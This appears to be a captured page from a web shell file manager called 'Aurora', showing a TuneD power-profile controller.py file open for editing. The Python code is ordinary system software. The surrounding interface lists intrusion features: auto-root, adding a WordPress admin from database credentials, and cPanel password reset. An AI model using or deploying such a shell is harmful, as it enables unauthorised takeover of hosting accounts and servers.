Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
tuned
ppd
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: controller.py
from tuned import exports, logs from tuned.utils.commands import commands from tuned.consts import PPD_CONFIG_FILE, PPD_BASE_PROFILE_FILE, PPD_API_COMPATIBILITY from tuned.ppd.config import PPDConfig, PPD_PERFORMANCE, PPD_BALANCED, PPD_POWER_SAVER from enum import Enum from random import Random import pyinotify import threading import dbus import os import time log = logs.get() DRIVER = "tuned" NO_TURBO_PATH = "/sys/devices/system/cpu/intel_pstate/no_turbo" LAP_MODE_PATH = "/sys/bus/platform/devices/thinkpad_acpi/dytc_lapmode" UNKNOWN_PROFILE = "unknown" UPOWER_DBUS_NAME = "org.freedesktop.UPower" UPOWER_DBUS_PATH = "/org/freedesktop/UPower" UPOWER_DBUS_INTERFACE = "org.freedesktop.UPower" PLATFORM_PROFILE_PATH = "/sys/firmware/acpi/platform_profile" PLATFORM_PROFILE_MAPPING = { "low-power": PPD_POWER_SAVER, "balanced": PPD_BALANCED, "performance": PPD_PERFORMANCE } class PerformanceDegraded(Enum): """ Possible reasons for performance degradation. """ NONE = "" LAP_DETECTED = "lap-detected" HIGH_OPERATING_TEMPERATURE = "high-operating-temperature" class PerformanceDegradedEventHandler(pyinotify.ProcessEvent): """ Event handler for checking performance degradation. """ def __init__(self, controller, path): super(PerformanceDegradedEventHandler, self).__init__() self._controller = controller self._path = path def process_IN_MODIFY(self, event): if event.pathname != self._path: return self._controller.check_performance_degraded() class PlatformProfileEventHandler(pyinotify.ProcessEvent): """ Event handler for switching PPD profiles based on the ACPI platform profile This handler should only invoke a PPD profile change if the change of the file at PLATFORM_PROFILE_PATH comes from within the kernel (e.g., when the user presses Fn-L on a Thinkpad laptop). This is currently detected as the file being modified without being opened before. """ CLOSE_MODIFY_BUFFER = 0.1 def __init__(self, controller): super(PlatformProfileEventHandler, self).__init__() self._controller = controller self._file_open = False self._last_close = 0 def process_IN_OPEN(self, event): if event.pathname != PLATFORM_PROFILE_PATH: return self._file_open = True self._last_close = 0 def process_IN_CLOSE_WRITE(self, event): if event.pathname != PLATFORM_PROFILE_PATH: return self._file_open = False self._last_close = time.time() def process_IN_CLOSE_NOWRITE(self, event): if event.pathname != PLATFORM_PROFILE_PATH: return self._file_open = False def process_IN_MODIFY(self, event): if event.pathname != PLATFORM_PROFILE_PATH or self._file_open or self._last_close + self.CLOSE_MODIFY_BUFFER > time.time(): # Do not invoke a profile change if a modify event comes: # 1. when the file is open, # 2. directly after the file is closed (the events may sometimes come in the wrong order). return self._controller.check_platform_profile() class ProfileHold(object): """ Class holding information about a single profile hold, i.e., a temporary profile switch requested by a process. """ def __init__(self, profile, reason, app_id, caller, watch): self.profile = profile self.reason = reason self.app_id = app_id self.caller = caller self.watch = watch def as_dict(self): """ Returns the hold information as a Python dictionary. """ return { "Profile": self.profile, "Reason": self.reason, "ApplicationId": self.app_id, } class ProfileHoldManager(object): """ Manager of profile holds responsible for their creation/deletion and for choosing the effective one. Holds are identified using integer cookies which are distributed to the hold-requesting processes. """ def __init__(self, controller): self._holds = {} self._cookie_generator = Random() self._controller = controller def _removal_callback(self, cookie, app_id): """ Returns the callback to invoke when the process with the given ID (which requested a hold with the given cookie) disappears. """ def callback(name): if name == "": log.info("Application '%s' disappeared, releasing hold '%s'" % (app_id, cookie)) self.remove(cookie) return callback def _effective_hold_profile(self): """ Returns the hold to use from the set of all active ones. """ if any(hold.profile == PPD_POWER_SAVER for hold in self._holds.values()): return PPD_POWER_SAVER return PPD_PERFORMANCE def _cancel(self, cookie): """ Cancels the hold saved under the provided cookie. """ if cookie not in self._holds: return hold = self._holds.pop(cookie) hold.watch.cancel() exports.send_signal("ProfileReleased", cookie) exports.property_changed("ActiveProfileHolds", self.as_dbus_array()) log.info("Releasing hold '%s': profile '%s' by application '%s'" % (cookie, hold.profile, hold.app_id)) def as_dbus_array(self): """ Returns the information about current holds as a DBus-compatible array. """ return dbus.Array([hold.as_dict() for hold in self._holds.values()], signature="a{sv}") def add(self, profile, reason, app_id, caller): """ Adds a new profile hold. """ cookie = 0 while cookie == 0 or cookie in self._holds: cookie = self._cookie_generator.randint(0, 2**32-1) watch = self._controller.bus.watch_name_owner(caller, self._removal_callback(cookie, app_id)) log.info("Adding hold '%s': profile '%s' by application '%s'" % (cookie, profile, app_id)) self._holds[cookie] = ProfileHold(profile, reason, app_id, caller, watch) exports.property_changed("ActiveProfileHolds", self.as_dbus_array()) self._controller.switch_profile(self._effective_hold_profile()) return cookie def has(self, cookie): """ Returns True if there is a hold under the given cookie. """ return cookie in self._holds def remove(self, cookie): """ Releases the hold saved under the provided cookie and sets the next profile. """ self._cancel(cookie) if len(self._holds) != 0: new_profile = self._effective_hold_profile() else: new_profile = self._controller.base_profile self._controller.switch_profile(new_profile) def clear(self): """ Releases all profile holds. """ for cookie in list(self._holds.keys()): self._cancel(cookie) def check_caller(self, cookie, caller): return cookie in self._holds and self._holds[cookie].caller == caller class Controller(exports.interfaces.ExportableInterface): """ The main tuned-ppd controller, exporting its DBus interface. """ def __init__(self, bus, tuned_interface): super(Controller, self).__init__() self._bus = bus self._tuned_interface = tuned_interface self._cmd = commands() self._terminate = threading.Event() self._battery_handler = None self._on_battery = False self._watch_manager = pyinotify.WatchManager() self._notifier = pyinotify.ThreadedNotifier(self._watch_manager) self._inotify_watches = {} self._pinned_virtual_files = [] self._platform_profile_supported = os.path.isfile(PLATFORM_PROFILE_PATH) self._no_turbo_supported = os.path.isfile(NO_TURBO_PATH) self._lap_mode_supported = os.path.isfile(LAP_MODE_PATH) self._tuned_interface.connect_to_signal("profile_changed", self._tuned_profile_changed) self.initialize() def _upower_changed(self, interface, changed, invalidated): """ The callback to invoke when the power supply changes. """ self._on_battery = bool(self._upower_properties.Get(UPOWER_DBUS_INTERFACE, "OnBattery")) log.info("Battery status changed: " + ("DC (battery)" if self._on_battery else "AC (charging)")) self.switch_profile(self._active_profile) def _tuned_profile_changed(self, tuned_profile, result, errstr): """ The callback to invoke when TuneD signals a profile change. """ if not result: return if tuned_profile != self._tuned_interface.active_profile(): log.debug("Received a profile change signal from TuneD, but it is not relevant anymore.") return try: ppd_profile = self._config.tuned_to_ppd.get(tuned_profile, self._on_battery) except KeyError: ppd_profile = UNKNOWN_PROFILE log.warning("TuneD profile changed to an unknown profile '%s'" % tuned_profile) if self._active_profile != ppd_profile: log.info("Profile changed to '%s'" % ppd_profile) self._profile_holds.clear() self._active_profile = ppd_profile exports.property_changed("ActiveProfile", self._active_profile) if ppd_profile != UNKNOWN_PROFILE: self._base_profile = ppd_profile self._save_base_profile(ppd_profile) def _setup_battery_signaling(self): """ Sets up handling of power supply changes. """ self._on_battery = False if not self._config.battery_detection: if self._battery_handler is not None: self._battery_handler.remove() self._battery_handler = None return try: if self._battery_handler is None: upower_proxy = self._bus.get_object(UPOWER_DBUS_NAME, UPOWER_DBUS_PATH) self._upower_properties = dbus.Interface(upower_proxy, dbus.PROPERTIES_IFACE) self._battery_handler = upower_proxy.connect_to_signal("PropertiesChanged", self._upower_changed) self._on_battery = bool(self._upower_properties.Get(UPOWER_DBUS_INTERFACE, "OnBattery")) except dbus.exceptions.DBusException as error: log.debug(error) def _setup_inotify(self): """ Sets up inotify file watches. """ for f in self._pinned_virtual_files: f.close() self._pinned_virtual_files.clear() self._watch_manager.rm_watch(list(self._inotify_watches.values())) if self._no_turbo_supported: self._pinned_virtual_files.append(open(NO_TURBO_PATH, "r")) self._inotify_watches |= self._watch_manager.add_watch(path=os.path.dirname(NO_TURBO_PATH), mask=pyinotify.IN_MODIFY, proc_fun=PerformanceDegradedEventHandler(self, NO_TURBO_PATH)) if self._lap_mode_supported: self._pinned_virtual_files.append(open(LAP_MODE_PATH, "r")) self._inotify_watches |= self._watch_manager.add_watch(path=os.path.dirname(LAP_MODE_PATH), mask=pyinotify.IN_MODIFY, proc_fun=PerformanceDegradedEventHandler(self, LAP_MODE_PATH)) if self._platform_profile_supported and self._config.sysfs_acpi_monitor: self._pinned_virtual_files.append(open(PLATFORM_PROFILE_PATH, "r")) self._inotify_watches |= self._watch_manager.add_watch(path=os.path.dirname(PLATFORM_PROFILE_PATH), mask=pyinotify.IN_OPEN | pyinotify.IN_MODIFY | pyinotify.IN_CLOSE_WRITE | pyinotify.IN_CLOSE_NOWRITE, proc_fun=PlatformProfileEventHandler(self)) def check_performance_degraded(self): """ Checks the current performance degradation status and sends a signal if it changed. """ performance_degraded = PerformanceDegraded.NONE if os.path.exists(NO_TURBO_PATH) and self._cmd.read_file(NO_TURBO_PATH).strip() == "1": performance_degraded = PerformanceDegraded.HIGH_OPERATING_TEMPERATURE if os.path.exists(LAP_MODE_PATH) and self._cmd.read_file(LAP_MODE_PATH).strip() == "1": performance_degraded = PerformanceDegraded.LAP_DETECTED if performance_degraded != self._performance_degraded: log.info("Performance degraded: %s" % performance_degraded.value) self._performance_degraded = performance_degraded exports.property_changed("PerformanceDegraded", performance_degraded.value) def check_platform_profile(self): """ Sets the active PPD profile based on the content of the ACPI platform profile. """ platform_profile = self._cmd.read_file(PLATFORM_PROFILE_PATH).strip() if platform_profile not in PLATFORM_PROFILE_MAPPING: return log.debug("Platform profile changed: %s" % platform_profile) new_profile = PLATFORM_PROFILE_MAPPING[platform_profile] self._profile_holds.clear() self.switch_profile(new_profile) self._base_profile = new_profile self._save_base_profile(new_profile) def _load_base_profile(self): """ Loads and returns the saved PPD base profile. """ return self._cmd.read_file(PPD_BASE_PROFILE_FILE, no_error=True).strip() or None def _get_recommend_profile(self): """ Get TuneD recommended profile. """ tuned_profile = self._tuned_interface.recommend_profile() try: ppd_profile = self._config.tuned_to_ppd.get(tuned_profile, self._on_battery) except KeyError: log.warning("TuneD recommends profile unknown to PPD: %s", tuned_profile) return None return ppd_profile def _save_base_profile(self, profile): """ Saves the given PPD profile into the base profile file. """ self._cmd.write_to_file(PPD_BASE_PROFILE_FILE, profile + "\n") def _set_tuned_profile(self, tuned_profile): """ Sets the TuneD profile to the given one if not already set. """ active_tuned_profile = self._tuned_interface.active_profile() if active_tuned_profile == tuned_profile: return True log.info("Setting TuneD profile to '%s'" % tuned_profile) ok, error_msg = self._tuned_interface.switch_profile(tuned_profile) if not ok: log.error(str(error_msg)) return bool(ok) def initialize(self): """ Initializes the controller. """ self._active_profile = None self._profile_holds = ProfileHoldManager(self) self._performance_degraded = PerformanceDegraded.NONE self.check_performance_degraded() self._config = PPDConfig(PPD_CONFIG_FILE, self._tuned_interface) self._setup_battery_signaling() self._base_profile = self._load_base_profile() or self._get_recommend_profile() or \ self._config.default_profile self.switch_profile(self._base_profile) self._save_base_profile(self._base_profile) self._setup_inotify() def run(self): """ Exports the DBus interface and runs the main daemon loop. """ exports.start() self._notifier.start() while not self._cmd.wait(self._terminate, 1): pass for f in self._pinned_virtual_files: f.close() self._pinned_virtual_files.clear() self._watch_manager.rm_watch(list(self._inotify_watches.values())) self._notifier.stop() exports.stop() @property def bus(self): """ DBus interface for communication with other services. """ return self._bus @property def base_profile(self): """ The base PPD profile. This is the profile to restore when all profile holds are released or when tuned-ppd is restarted. It may not be equal to the currently active profile. """ return self._base_profile def terminate(self): """ Stops the main loop of the daemon. """ self._terminate.set() def switch_profile(self, profile): """ Sets the currently active profile to the given one, if not already set. Does not change the base profile. """ if not self._set_tuned_profile(self._config.ppd_to_tuned.get(profile, self._on_battery)): return False if self._active_profile != profile: exports.property_changed("ActiveProfile", profile) self._active_profile = profile return True @exports.export("sss", "u", "hold-profile") def HoldProfile(self, profile, reason, app_id, caller): """ Initiates a profile hold and returns a cookie for referring to it. """ if profile != PPD_POWER_SAVER and profile != PPD_PERFORMANCE: raise dbus.exceptions.DBusException( "Only '%s' and '%s' profiles may be held" % (PPD_POWER_SAVER, PPD_PERFORMANCE) ) return self._profile_holds.add(profile, reason, app_id, caller) @exports.export("u", "", "release-profile") def ReleaseProfile(self, cookie, caller): """ Releases a held profile with the given cookie. """ if not self._profile_holds.has(cookie): raise dbus.exceptions.DBusException("No active hold for cookie '%s'" % cookie) if not self._profile_holds.check_caller(cookie, caller): raise dbus.exceptions.DBusException("Cannot release a profile hold inititated by another process.") self._profile_holds.remove(cookie) @exports.signal("u") def ProfileReleased(self, cookie): """ The DBus signal sent when a held profile is released. """ pass @exports.property_setter("ActiveProfile", "switch-profile") def set_active_profile(self, profile, caller): """ Sets the base profile to the given one and also makes it active. If there are any active profile holds, these are cancelled. """ if profile not in self._config.ppd_to_tuned.keys(self._on_battery): raise dbus.exceptions.DBusException("Invalid profile '%s'" % profile) log.debug("Setting base profile to %s" % profile) self._profile_holds.clear() if not self.switch_profile(profile): raise dbus.exceptions.DBusException("Error setting profile %s'" % profile) self._base_profile = profile self._save_base_profile(profile) @exports.property_getter("ActiveProfile") def get_active_profile(self, caller): """ Returns the currently active PPD profile. """ return self._active_profile @exports.property_getter("Profiles") def get_profiles(self, caller): """ Returns a DBus array of all available PPD profiles. """ return dbus.Array( [{"Profile": profile, "Driver": DRIVER} for profile in self._config.ppd_to_tuned.keys(self._on_battery)], signature="a{sv}", ) @exports.property_getter("Actions") def get_actions(self, caller): """ Returns a DBus array of all available actions (currently there are none). """ return dbus.Array([], signature="s") @exports.property_getter("PerformanceDegraded") def get_performance_degraded(self, caller): """ Returns the current performance degradation status. """ return self._performance_degraded.value @exports.property_getter("ActiveProfileHolds") def get_active_profile_holds(self, caller): """ Returns a DBus array of active profile holds. """ return self._profile_holds.as_dbus_array() @exports.property_getter("Version") def version(self, caller): return PPD_API_COMPATIBILITY